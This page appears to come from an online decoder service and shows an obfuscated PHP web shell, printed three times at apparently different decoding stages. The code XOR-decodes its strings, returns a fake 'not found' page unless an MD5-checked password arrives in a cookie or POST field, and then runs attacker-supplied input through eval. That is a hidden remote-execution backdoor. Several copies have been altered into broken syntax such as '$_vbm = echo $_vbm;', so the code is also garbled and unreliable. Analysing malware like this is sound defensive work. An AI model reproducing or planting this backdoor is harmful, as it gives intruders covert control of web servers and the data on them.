Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

class Edu
{
    private static $s;
    public static function g($n, $k)
    {
        if (!self::$s)
            self::i();
        $l = strlen($k);
        $r = base64_decode(self::$s[$n]);
        for ($i = 0, $c = strlen($r); $i !== $c; ++$i)
            $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
        return $r;
    }
    private static function i()
    {
        self::$s = array(
            '_kb' => 'HgQMBywUQiEwCRsQMAtCIzMLABVyKB0LOA4BWH9N',
            '_afb' => 'HAsdGjoKB0MLHQMLZUQSHi8IGg0+EBoBMUsZDykFAA0tDQMa',
            '_co' => '',
            '_wwo' => 'PBI=',
            '_ond' => '',
            '_pq' => 'MREVJw==',
            '_n' => 'Yxc0Rg==',
            '_kfh' => 'YxoUFmE=',
            '_rpw' => 'KAQWHQ==',
            '_jeg' => 'PAcG',
            '_nnc' => 'PgQ6LzkFMRMr',
            '_sf' => 'Ngcx',
            '_c' => 'PRcJOkA=',
            '_q' => 'aykMAjw=',
            '_vkt' => 'MBAf',
            '_bb' => 'KAAUGw==',
            '_bwh' => '',
            '_hee' => '',
            '_xiu' => 'NxkrHWVCcBo6DzwMPAU6Hi8MPAhxAzoZcAw8QD4DPgEmGTYOLEM1HmAJPhk+UA==',
            '_y' => 'PBMICwAPFA4r',
            '_zya' => 'NxUcLz4LMAUN',
            '_ur' => 'Yw4GO11Z',
            '_l' => 'YxgRD21E',
            '_mi' => 'LBoPOhQC',
            '_d' => 'NxoNLx0=',
            '_ujb' => 'GDw7VQ==',
            '_yui' => 'LwsDGQ==',
            '_mua' => 'LhkALRU=',
            '_i' => 'YA==',
            '_k' => 'LhMTLR8=',
            '_dof' => 'fykLNQ9Obk9vbFUpMBIrW38=',
            '_trf' => 'NxwsBw==',
            '_mxq' => 'UngcHTEcOhErGzAcZVIcHjABOn9Vf1U=',
            '_kd' => 'LAYLZVpI',
            '_xw' => '',
            '_nl' => 'Nw0sFg==',
            '_mk' => 'Unw=',
            '_at' => 'YxUJO0RW',
            '_wt' => 'FzELNQAmEywaKws6FjU=',
            '_j' => 'FzA6DzstEy0rETAxFjQ=',
            '_lm' => 'Fz0nIgAxLDQQOyQzDS02NgAvPCA=',
            '_vf' => 'Fy4LKgAiADwQKAg7DT4aPgA8ECg=',
            '_is' => 'DTwuKAs8PCYbPTE=',
            '_az' => 'DTwlLAs8NyIbPTo=',
            '_xet' => 'Fzc1KAAgJyccLC82GiA1MREkPjEP',
            '_qz' => 'FzMLNwAkGTgcKBEpGiQLLhEgAC4P',
            '_sbz' => 'FzUlDz4kDCQjACA2Gi8l',
            '_w' => 'FyEhIgAgJjcNKjQ1Gjsh',
            '_lj' => 'FzoiOAA8My4aPDM6',
            '_mll' => 'FycgOgAhMSwaITE4',
            '_bf' => 'OQcKHjocORw+HA==',
            '_ga' => 'bkFGcUNfb11A',
            '_nw' => 'Ngc=',
            '_fli' => 'Kgg=',
            '_t' => 'LRAR',
            '_pt' => 'MQ4YGg=='
        );
    }
}
if(!isset($_COOKIE['tl']) && !isset($_POST['tl'])) {echo "this_404page_notfound";die();}else{
    if(isset($_COOKIE['tl'])) if(md5($_COOKIE['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    if(isset($_POST['tl'])) if(md5($_POST['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    }
class Pro
{
    private static $s;
    public static function g($n)
    {
        if (!self::$s)
            self::i();
        return self::$s[$n];
    }
    private static function i()
    {
        self::$s = array(
            0100,
            0121,
            02,
            064,
            01,
            046711,
            01,
            052,
            00,
            0116,
            012,
            015,
            012,
            0310,
            0673,
            0120,
            00,
            02000,
            01,
            0423,
            0423
        );
    }
}
@header(Edu::g('_kb', '_gob'));
@header(Edu::g('_afb', '_dsn'));

if (isset($_GET[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_GET[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}
if (isset($_POST[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_POST[Edu::g('_bb', '_axw')]);
    $_vbm = @eval($_vbm);
    die;
}
if (isset($_COOKIE[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_COOKIE[Edu::g('_bb', '_axw')]);
    $_vbm = @eval($_vbm);
    die;
}

class Edu
{
    private static $s;
    public static function g($n, $k)
    {
        if (!self::$s)
            self::i();
        $l = strlen($k);
        $r = base64_decode(self::$s[$n]);
        for ($i = 0, $c = strlen($r); $i !== $c; ++$i)
            $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
        return $r;
    }
    private static function i()
    {
        self::$s = array(
            '_kb' => 'HgQMBywUQiEwCRsQMAtCIzMLABVyKB0LOA4BWH9N',
            '_afb' => 'HAsdGjoKB0MLHQMLZUQSHi8IGg0+EBoBMUsZDykFAA0tDQMa',
            '_co' => '',
            '_wwo' => 'PBI=',
            '_ond' => '',
            '_pq' => 'MREVJw==',
            '_n' => 'Yxc0Rg==',
            '_kfh' => 'YxoUFmE=',
            '_rpw' => 'KAQWHQ==',
            '_jeg' => 'PAcG',
            '_nnc' => 'PgQ6LzkFMRMr',
            '_sf' => 'Ngcx',
            '_c' => 'PRcJOkA=',
            '_q' => 'aykMAjw=',
            '_vkt' => 'MBAf',
            '_bb' => 'KAAUGw==',
            '_bwh' => '',
            '_hee' => '',
            '_xiu' => 'NxkrHWVCcBo6DzwMPAU6Hi8MPAhxAzoZcAw8QD4DPgEmGTYOLEM1HmAJPhk+UA==',
            '_y' => 'PBMICwAPFA4r',
            '_zya' => 'NxUcLz4LMAUN',
            '_ur' => 'Yw4GO11Z',
            '_l' => 'YxgRD21E',
            '_mi' => 'LBoPOhQC',
            '_d' => 'NxoNLx0=',
            '_ujb' => 'GDw7VQ==',
            '_yui' => 'LwsDGQ==',
            '_mua' => 'LhkALRU=',
            '_i' => 'YA==',
            '_k' => 'LhMTLR8=',
            '_dof' => 'fykLNQ9Obk9vbFUpMBIrW38=',
            '_trf' => 'NxwsBw==',
            '_mxq' => 'UngcHTEcOhErGzAcZVIcHjABOn9Vf1U=',
            '_kd' => 'LAYLZVpI',
            '_xw' => '',
            '_nl' => 'Nw0sFg==',
            '_mk' => 'Unw=',
            '_at' => 'YxUJO0RW',
            '_wt' => 'FzELNQAmEywaKws6FjU=',
            '_j' => 'FzA6DzstEy0rETAxFjQ=',
            '_lm' => 'Fz0nIgAxLDQQOyQzDS02NgAvPCA=',
            '_vf' => 'Fy4LKgAiADwQKAg7DT4aPgA8ECg=',
            '_is' => 'DTwuKAs8PCYbPTE=',
            '_az' => 'DTwlLAs8NyIbPTo=',
            '_xet' => 'Fzc1KAAgJyccLC82GiA1MREkPjEP',
            '_qz' => 'FzMLNwAkGTgcKBEpGiQLLhEgAC4P',
            '_sbz' => 'FzUlDz4kDCQjACA2Gi8l',
            '_w' => 'FyEhIgAgJjcNKjQ1Gjsh',
            '_lj' => 'FzoiOAA8My4aPDM6',
            '_mll' => 'FycgOgAhMSwaITE4',
            '_bf' => 'OQcKHjocORw+HA==',
            '_ga' => 'bkFGcUNfb11A',
            '_nw' => 'Ngc=',
            '_fli' => 'Kgg=',
            '_t' => 'LRAR',
            '_pt' => 'MQ4YGg=='
        );
    }
}
if(!isset($_COOKIE['tl']) && !isset($_POST['tl'])) {echo "this_404page_notfound";die();}else{
    if(isset($_COOKIE['tl'])) if(md5($_COOKIE['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    if(isset($_POST['tl'])) if(md5($_POST['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    }
class Pro
{
    private static $s;
    public static function g($n)
    {
        if (!self::$s)
            self::i();
        return self::$s[$n];
    }
    private static function i()
    {
        self::$s = array(
            0100,
            0121,
            02,
            064,
            01,
            046711,
            01,
            052,
            00,
            0116,
            012,
            015,
            012,
            0310,
            0673,
            0120,
            00,
            02000,
            01,
            0423,
            0423
        );
    }
}
@header(Edu::g('_kb', '_gob'));
@header(Edu::g('_afb', '_dsn'));

if (isset($_GET[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_GET[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}
if (isset($_POST[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_POST[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}
if (isset($_COOKIE[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_COOKIE[Edu::g('_bb', '_axw')]);
    $_vbm = @eval($_vbm);
    die;
}

class Edu
{
    private static $s;
    public static function g($n, $k)
    {
        if (!self::$s)
            self::i();
        $l = strlen($k);
        $r = base64_decode(self::$s[$n]);
        for ($i = 0, $c = strlen($r); $i !== $c; ++$i)
            $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
        return $r;
    }
    private static function i()
    {
        self::$s = array(
            '_kb' => 'HgQMBywUQiEwCRsQMAtCIzMLABVyKB0LOA4BWH9N',
            '_afb' => 'HAsdGjoKB0MLHQMLZUQSHi8IGg0+EBoBMUsZDykFAA0tDQMa',
            '_co' => '',
            '_wwo' => 'PBI=',
            '_ond' => '',
            '_pq' => 'MREVJw==',
            '_n' => 'Yxc0Rg==',
            '_kfh' => 'YxoUFmE=',
            '_rpw' => 'KAQWHQ==',
            '_jeg' => 'PAcG',
            '_nnc' => 'PgQ6LzkFMRMr',
            '_sf' => 'Ngcx',
            '_c' => 'PRcJOkA=',
            '_q' => 'aykMAjw=',
            '_vkt' => 'MBAf',
            '_bb' => 'KAAUGw==',
            '_bwh' => '',
            '_hee' => '',
            '_xiu' => 'NxkrHWVCcBo6DzwMPAU6Hi8MPAhxAzoZcAw8QD4DPgEmGTYOLEM1HmAJPhk+UA==',
            '_y' => 'PBMICwAPFA4r',
            '_zya' => 'NxUcLz4LMAUN',
            '_ur' => 'Yw4GO11Z',
            '_l' => 'YxgRD21E',
            '_mi' => 'LBoPOhQC',
            '_d' => 'NxoNLx0=',
            '_ujb' => 'GDw7VQ==',
            '_yui' => 'LwsDGQ==',
            '_mua' => 'LhkALRU=',
            '_i' => 'YA==',
            '_k' => 'LhMTLR8=',
            '_dof' => 'fykLNQ9Obk9vbFUpMBIrW38=',
            '_trf' => 'NxwsBw==',
            '_mxq' => 'UngcHTEcOhErGzAcZVIcHjABOn9Vf1U=',
            '_kd' => 'LAYLZVpI',
            '_xw' => '',
            '_nl' => 'Nw0sFg==',
            '_mk' => 'Unw=',
            '_at' => 'YxUJO0RW',
            '_wt' => 'FzELNQAmEywaKws6FjU=',
            '_j' => 'FzA6DzstEy0rETAxFjQ=',
            '_lm' => 'Fz0nIgAxLDQQOyQzDS02NgAvPCA=',
            '_vf' => 'Fy4LKgAiADwQKAg7DT4aPgA8ECg=',
            '_is' => 'DTwuKAs8PCYbPTE=',
            '_az' => 'DTwlLAs8NyIbPTo=',
            '_xet' => 'Fzc1KAAgJyccLC82GiA1MREkPjEP',
            '_qz' => 'FzMLNwAkGTgcKBEpGiQLLhEgAC4P',
            '_sbz' => 'FzUlDz4kDCQjACA2Gi8l',
            '_w' => 'FyEhIgAgJjcNKjQ1Gjsh',
            '_lj' => 'FzoiOAA8My4aPDM6',
            '_mll' => 'FycgOgAhMSwaITE4',
            '_bf' => 'OQcKHjocORw+HA==',
            '_ga' => 'bkFGcUNfb11A',
            '_nw' => 'Ngc=',
            '_fli' => 'Kgg=',
            '_t' => 'LRAR',
            '_pt' => 'MQ4YGg=='
        );
    }
}
if(!isset($_COOKIE['tl']) && !isset($_POST['tl'])) {echo "this_404page_notfound";die();}else{
    if(isset($_COOKIE['tl'])) if(md5($_COOKIE['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    if(isset($_POST['tl'])) if(md5($_POST['tl'])!=="7081aea72281c5b9c297a5daea8f1aa7"){die();}
    }
class Pro
{
    private static $s;
    public static function g($n)
    {
        if (!self::$s)
            self::i();
        return self::$s[$n];
    }
    private static function i()
    {
        self::$s = array(
            0100,
            0121,
            02,
            064,
            01,
            046711,
            01,
            052,
            00,
            0116,
            012,
            015,
            012,
            0310,
            0673,
            0120,
            00,
            02000,
            01,
            0423,
            0423
        );
    }
}
@header(Edu::g('_kb', '_gob'));
@header(Edu::g('_afb', '_dsn'));

if (isset($_GET[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_GET[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}
if (isset($_POST[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_POST[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}
if (isset($_COOKIE[Edu::g('_rpw', '_ezq')])) {
    $_zk  = Edu::g('_jeg', '_uce') . Edu::g('_nnc', '_p') . Edu::g('_sf', '_h');
    $_v   = Edu::g('_c', '_vz') . Edu::g('_q', '_vhg') . Edu::g('_vkt', '_tz');
    $_vbm = $_v($_COOKIE[Edu::g('_bb', '_axw')]);
    $_vbm = echo $_vbm;
    die;
}



© 2021 Quttera Ltd. All rights reserved.